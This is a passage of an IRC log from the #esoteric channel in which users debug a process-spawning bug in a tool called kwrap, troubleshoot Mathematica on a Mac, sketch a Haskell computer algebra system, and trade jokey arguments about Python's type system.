:Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :No. < 1269175698 0 :deschutron!unknown@unknown.invalid PRIVMSG #esoteric :what fixed it? < 1269175712 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Hmmm... < 1269175736 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :I tried it again. < 1269175743 0 :asiekierka!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1269175752 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Same thing happened < 1269175808 0 :deschutron!unknown@unknown.invalid PRIVMSG #esoteric :I ran "kwrap tok0 fromk0 tok1 fromk1" and it hung silently as if nicely waiting for input on its channels. The way it should. < 1269175815 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :All the pre-existing files are still there, but a huge number of junk ones have been created. < 1269175828 0 :deschutron!unknown@unknown.invalid PRIVMSG #esoteric :what sort of names do they have? < 1269175831 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :It may be because I was using the version of kwrap that you compiled. < 1269175848 0 :hiato!~fdulu@dsl-245-63-253.telkomadsl.co.za JOIN :#esoteric < 1269175862 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Mainly question marks, some random Unicode, a few ASCII characters. < 1269175992 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :http://pastebin.ca/1848073 < 1269176209 0 :deschutron!unknown@unknown.invalid PRIVMSG #esoteric :Maybe when issued with more than two pairs of filenames, kwrap enters an infinite loop, creating new processes. And they keep using the next arguments in the argv array, past the end of the array. And so they try to use files with memory-overrun style filenames, accidently creating the files in the process. < 1269176235 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :It would appear so. < 1269176248 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :stracing it supports that theory. < 1269176266 0 :deschutron!unknown@unknown.invalid PRIVMSG #esoteric :Thanks. < 1269176267 0 :deschutron!unknown@unknown.invalid PRIVMSG #esoteric :I'll try to fix that. < 1269176459 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1269176983 0 :MigoMipo!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269177000 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Finally, it disappears when I compile it myself. < 1269177114 0 :MigoMipo!~migomipo@84-217-5-244.tn.glocalnet.net JOIN :#esoteric < 1269177329 0 :deschutron!unknown@unknown.invalid PRIVMSG #esoteric :I found a couple of errors in my kwrap code. < 1269177394 0 :deschutron!unknown@unknown.invalid PRIVMSG #esoteric :In the code to run the new kwrap process for the extra args, there was an off-by-one error in copying the surplus args, < 1269177439 0 :deschutron!unknown@unknown.invalid PRIVMSG #esoteric :and perhaps more importantly, the new argument array was being passed execv, which needs a null-terminated argument-array. < 1269177455 0 :deschutron!unknown@unknown.invalid PRIVMSG #esoteric :and kwrap wasn't putting a terminating null at the end of the array. < 1269177708 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Incidentally, shouldn't duplicate use argv[0] to start the new kwrap process? < 1269177755 0 :deschutron!unknown@unknown.invalid PRIVMSG #esoteric :It should. I have sent you my error-corrected version. < 1269177763 0 :deschutron!unknown@unknown.invalid PRIVMSG #esoteric :To your email address. < 1269178589 0 :fax!~none@amcant.demon.co.uk JOIN :#esoteric < 1269179358 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269179397 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Yep, OK. < 1269180431 0 :fax!unknown@unknown.invalid QUIT :Changing host < 1269180431 0 :fax!~none@unaffiliated/fax JOIN :#esoteric < 1269180539 0 :cheater2!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269180563 0 :cheater2!~cheater@ip-80-226-246-57.vodafone-net.de JOIN :#esoteric < 1269180873 0 :alise!~alise___@212.183.140.53 JOIN :#esoteric < 1269180913 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hi < 1269180963 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hello < 1269180986 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise tried rebooting, no luck < 1269181010 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: well if you gave me a vnc session i could try and fix it debugging gui software over irc is near-impossible ... but that involves trusting me which is dumb < 1269181025 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders who wrote fungot
< 1269181026 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :hiato: i've got a relatively large export base that would nto scale to a country in any way. i can click 360 times a minute. what's he doing with changing the hell is it < 1269181031 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fizzie < 1269181034 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :^source < 1269181035 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :http://git.zem.fi/fungot/blob/HEAD:/fungot.b98 < 1269181098 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :20:39:40 I thought there was a distinction between "simple English" and "English for the simple" < 1269181101 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :There should be. < 1269181105 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :wow, that is super impressive < 1269181106 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's just that most Simple Wikipedia editors think it's the latter. < 1269181111 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :20:40:05 "integral is part of the Academic Word List. It is important for students in college and university." < 1269181112 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :snrk < 1269181164 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hiato: well it has been developed since mid-late 2008 :) < 1269181183 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://git.zem.fi/fungot/blob/f581a030c5012af74d00dfaf69a78303dada54bd:/fungot.bef the first versioned version < 1269181183 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :alise: why is finding the nth element of the list. they just don't cut it. i have to < 1269181191 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it didn't even have babbling then < 1269181196 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :just brainfuck interp mostly < 1269181213 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise wow there's a preference option today but there wasn't yesterday! < 1269181224 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: which option is it < 1269181227 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oh preferences < 1269181228 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1269181231 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: ok check Kernel < 1269181240 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :make sure it's set to the number of cores, license avail is inf < 1269181276 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's in Parallel btw < 1269181281 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I see that < 1269181284 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :butI have not sure what you mean < 1269181290 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :screenshot the parallel tab < 1269181292 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :its' on Automatic: 4 kernels < 1269181298 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you have four cores then? < 1269181300 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :alise: I see, but still no simple feat < 1269181304 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I don't know < 1269181306 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hiato: indeed < 1269181311 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: i.. see < 1269181314 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :open activity monitor < 1269181318 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :how many cpu bars do you see < 1269181330 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :alise: through a meta-lang/compiler or hand written? < 1269181334 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hiato: hand < 1269181338 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :damn < 1269181344 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :4 < 1269181353 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: ok that is correct then < 1269181353 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :4 CPUs ? < 1269181357 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :4 cpu cores < 1269181366 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :most cpus are dual core nowadays... what is your system, a new imac? < 1269181367 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :a mac pro? < 1269181381 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1269181385 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :newer high-end imacs have 4-core CPUs, if mac pro either new in which case one 4-core cpu < 1269181389 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :or old in which case two 2-cores < 1269181394 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it's really old < 1269181395 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: helpful :) < 1269181399 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :probably an old mac pro then. < 1269181403 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it is intel though right? < 1269181416 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1269181442 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :do you know how to set up vnc :) i'm almost certain I could get mathematica working smoothly for you < 1269181493 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :21:07:22 children are decent at learning certain things, but they have no creativity, they have no concentration, they have no insight. < 1269181496 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :HEY < 1269181497 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :21:07:27 i love kids, wish i had some < 1269181499 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oh ok then < 1269181515 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric : to cook and eat < 1269181528 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :21:21:47 most parents suck anyway based on what i've seen, i guess you get tired of doing the job right after a few years < 1269181528 0 :Phantom_Hoover!unknown@unknown.invalid QUIT :Quit: ChatZilla 0.9.86 [Firefox 3.5.8/20100214235838] < 1269181538 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :turns out most people think they can do it without thinking about it < 1269181541 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hilarious huh < 1269181552 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :maybe we should hire engineers based on their gut feeling that they can do this < 1269181571 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :bleh < 1269181571 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :this mathematica sucks < 1269181574 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: do you want me to tell you how to set up vnc? < 1269181583 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it doesn't man, it's not laggy when it works properly < 1269181596 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it was smooth as hell on my 2.5 gig 2-core 2.1ghz imac from 2006 < 1269181604 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :something's just set up wrong for you :P < 1269181683 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hm :[ < 1269181692 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I think it's just bad < 1269181707 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: well i have direct experience contradicting your statement that even simple anamation is slow < 1269181761 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :http://www.mofeel.net/1164-comp-soft-sys-math-mathematica/1370.aspx < 1269181807 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Believe what you want to believe; it doesn't concern me. I was only offering to fix the problem for my experience shows that is exactly what it is, a problem... < 1269181824 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1269181872 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :btw I turned off antialisaing but it still antialiased < 1269181887 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :what is still antialiased < 1269181893 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :the jansen walker < 1269181915 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it is about antialiasing of plots not animations < 1269181922 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :anyway look if you want me to fix it just say so < 1269182261 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I think I'm gonna make my own simple CAS < 1269182291 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :in mathematica? < 1269182295 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no :P < 1269182297 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::) < 1269182303 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yo dawg, I heard you like CASs... < 1269182342 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :;D < 1269182787 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i think i'll call it Caster < 1269182789 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :because, you know < 1269182790 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :CASter < 1269182948 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :has anyone worked out anything about the digits of graham's number? < 1269182950 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :would be fun < 1269182980 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ok so I'm gonna start with the non-computational stuff since I need it to work with < 1269182998 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :first, a structure for terms; then, a module for symbolic rewriting on these terms; then, a module for pretty-printing these terms. < 1269183009 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(including handling things like operators rather than just tons of function applications) < 1269183151 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :write it in ... hmm < 1269183302 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Haskell because I cba to fight with anything else < 1269183574 0 :nooga!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1269183581 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hmm... I want f(x,y,z) syntax for it for simple interaction with the other syntax, so I guess I'll just make that sugar for f(x)(y)(z) < 1269183680 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :=(+(^(a)(n))(^(b)(n)))(^(c)(n)), I could see that notation catching on < 1269183938 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lol prolog < 1269183968 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :prolog has f(x,y) as distinct from f(x)(y) doesn't it :) < 1269183973 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but yeah, very prology. < 1269183976 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*prologgy < 1269183997 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1269184013 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :why don't you write f x y z :P < 1269184019 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it's written in haskell afterall < 1269184035 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I htink I have a parser for that < 1269184038 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :and pretty printer < 1269184162 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :by pretty printer I mean things like < 1269184167 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : _ < 1269184168 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Vx < 1269184173 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :for sqrt(x) < 1269184176 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :no not that < 1269184178 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :or x + y for +(x)(y) < 1269184209 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise I'm writing a note on category thoegyga < 1269184219 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :category theology on my wiki < 1269184232 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :category theology? < 1269184248 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :The mystery of the Yoneda < 1269184330 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :how fast can tex run I wonder < 1269184339 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it would be neat if I could have a repl which calls out to tex every line to render the output < 1269184352 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :also if I could then do some magic to make it selectable and copy-pastable as input format... < 1269184355 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :as you type? or as you hit return? < 1269184378 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :only the output lines, pretty-as-you-type is for my future project < 1269184497 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ug < 1269184504 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :how to do an arrow '-->' but nice < 1269184513 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :not that stubby unicode one :/ < 1269184546 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :there is a long unicode arrow < 1269184556 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i will find it for you < 1269184564 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it is most pretty in shape < 1269184622 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: → < 1269184626 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :looks longer in the right font :P < 1269184653 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :→ < 1269184662 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: here's iff ⇔ < 1269184750 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise I can use TeX! < 1269184758 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :then... < 1269184762 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :\longrightarrow < 1269184763 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :\iff < 1269184763 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :etc < 1269184772 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric : I just realized wiki tex still lets me do colors < 1269184792 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i really want something that lets me type tex and see it autovivify as i type < 1269184795 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :like not wysiwyg or whatever < 1269184882 0 :nooga!~nooga@86-63-119-166.sta.asta-net.com.pl JOIN :#esoteric < 1269184891 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :CAS? < 1269184913 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :computer algebra system < 1269185056 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :ah right < 1269185280 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :a nice thing about symbolic rewriting < 1269185286 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :is that you don't need de bruijn indexes or anything, variable binding is trivial < 1269185364 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ok so literals I need... < 1269185379 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :symbols, naturals, strings, applications < 1269185488 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hmm I can just do naturals as symbols of digits < 1269185489 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :obvs < 1269185515 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :strings can just be symbols with some kind of quoting in the syntax... except no < 1269185519 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :because then you can reassign them :P < 1269185526 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"abc def" could be string(|abc def|) < 1269185765 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :15:58 < alise> =(+(^(a)(n))(^(b)(n)))(^(c)(n)), I could see that notation catching on --> I made this esolang a while ago, before I really knew what functional mean, nice example: Square Root Approx: :(>(i1,0)?[^(f1(( /(-(*2(a1)))(+y(-x(*a1(a1))))),-(i1)))];[^a1])(f1(a1,i1)) < 1269186047 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :haskell needs not (any f xs) :( < 1269186047 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"none" < 1269186180 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise help me pick good colors < 1269186190 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :these are like all the same http://en.wikibooks.org/wiki/LaTeX/Colors < 1269186361 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oh, actually, I cannot use f(x)(y) < 1269186365 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well I can but < 1269186374 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :consider +x vs x+y < 1269186380 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :+(x) ... +(x)(y) < 1269186384 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I could have < 1269186391 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :prefix+(x) ... infix+(x)(y) < 1269186391 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I guess < 1269186395 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but optional arguments would be nice... < 1269186440 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1269186651 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1269186729 0 :alise!~alise___@212.183.140.53 JOIN :#esoteric < 1269186962 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise what color is a functor? < 1269187018 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :um < 1269187021 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :octarine :) < 1269187087 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oh i thought that a was philosophical question < 1269187090 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :*was a < 1269187103 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yeah :P < 1269187183 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ugh this means I have f distinct from f(), how embarrassing < 1269187338 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oklopol http://i.imgur.com/WWBhb.png :P < 1269187351 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :(ignore the errors :S) < 1269187380 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :f and f() mean different things in Python. Therefore, f and f() ought to mean different things. < 1269187392 0 :hiato!unknown@unknown.invalid QUIT :Quit: underflow < 1269187396 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: Python is logically inconsistent. < 1269187403 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Therefore, everything ought to be inconsistent. < 1269187416 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :python is awful < 1269187419 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :What do you mean by "logically inconsistent"? < 1269187432 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :ruby > python < 1269187449 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :nooga: Swing and a miss. < 1269187450 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I've heard a lot about Ruby. < 1269187456 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: It is possible to prove _|_ in Python. < 1269187461 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :def f(): return f() < 1269187464 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :f :: forall a. a < 1269187468 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :f :: _|_ < 1269187475 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I don't think that's true. < 1269187479 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :IT is. < 1269187480 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*It < 1269187508 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :In fact, f :: function < 1269187510 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1269187514 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You fail at Curry-Howard. < 1269187523 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :You fail at Python's typing system! < 1269187530 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :But eh. < 1269187530 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It has none. < 1269187534 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Yes, Python allows infinite loops. < 1269187545 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's not even infinite loops, it has other _|_s too. < 1269187571 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Like sys.exit(), I suppose. < 1269187576 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :alise: I don't care much about your opinion in that field, sorry < 1269187590 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :A sane computer program is really not the same thing as a sane proof. < 1269187623 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Anyway Python has lots and lots of runtime unreliability like type errors, exceptions, nontermination, and honestly so many that no human being can program in Python. < 1269187629 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :They think they can but they program broken Python 99% of the time. < 1269187638 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Python is literally impossible to use. < 1269187662 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :in python, no matter what you're trying to program, just let your fingers dance for a while and it's done with no errors < 1269187677 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :As with SKI! < 1269187679 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1269187682 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Just avoid certain patterns! < 1269187684 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :That's a strange objection, seeing as how I've seen Python code that worked. < 1269187694 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: Pure chance and trial and error. < 1269187715 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :A Python programmer is actually a rough Python approximator who has some sort of idea of a correct language that isn't Python and fails to translate this to Python repeatedly. < 1269187725 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1269187728 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :that's bullshit < 1269187732 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :python is perfect < 1269187735 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So it's impossible to actually know what Python is? < 1269187740 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I never said that. < 1269187758 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :You said that Python programmers have some sort of idea of a correct language that isn't Python. < 1269187761 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's impossible for any human-level flawed intelligence to program in Python with basically any accuracy at all. < 1269187773 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION shrugs.
< 1269187780 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :the only ways to make a mistake in python are the following: forgetting self, forgetting the return statement < 1269187801 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :well and syntax errors occasionally < 1269187802 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Does every function have to have a return statement? < 1269187805 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: code a checker for the riemann hypo in python < 1269187806 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :go < 1269187810 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Or something that acts like a return statement? < 1269187831 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :you really think it's important to be able to prove things with the type system? < 1269187834 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Hmm, I wrote a really simple theorem prover in Haskell on a whiteboard once. < 1269187842 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :when the fuck is that useful < 1269187864 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :never the fuck says i < 1269187881 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: they have an implicit return None < 1269187912 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION nods.
< 1269187947 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I guess I would have difficulty coding a formal version of the Riemann hypothesis. < 1269187981 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I can define the complex numbers, but I'm not sure precisely what the definition of the zeta function is. < 1269188022 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :it's just the infinite sum of n^-i < 1269188023 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: proving things with the type system is useful for exactly the cases proving is < 1269188029 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :whether about programs or mathematics < 1269188057 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It's not just that; it's extended to places where that sum is undefined. < 1269188057 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :so basically never < 1269188068 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1269188076 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: eh go fuck yourself :) < 1269188077 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :err < 1269188078 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :are you sure < 1269188091 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i mean yes, it's the analytic continuation of the real series, sure < 1269188104 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :but doesn't that just mean we use complex exponentiation everywhere else? < 1269188131 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Well... < 1269188132 0 :alise!unknown@unknown.invalid 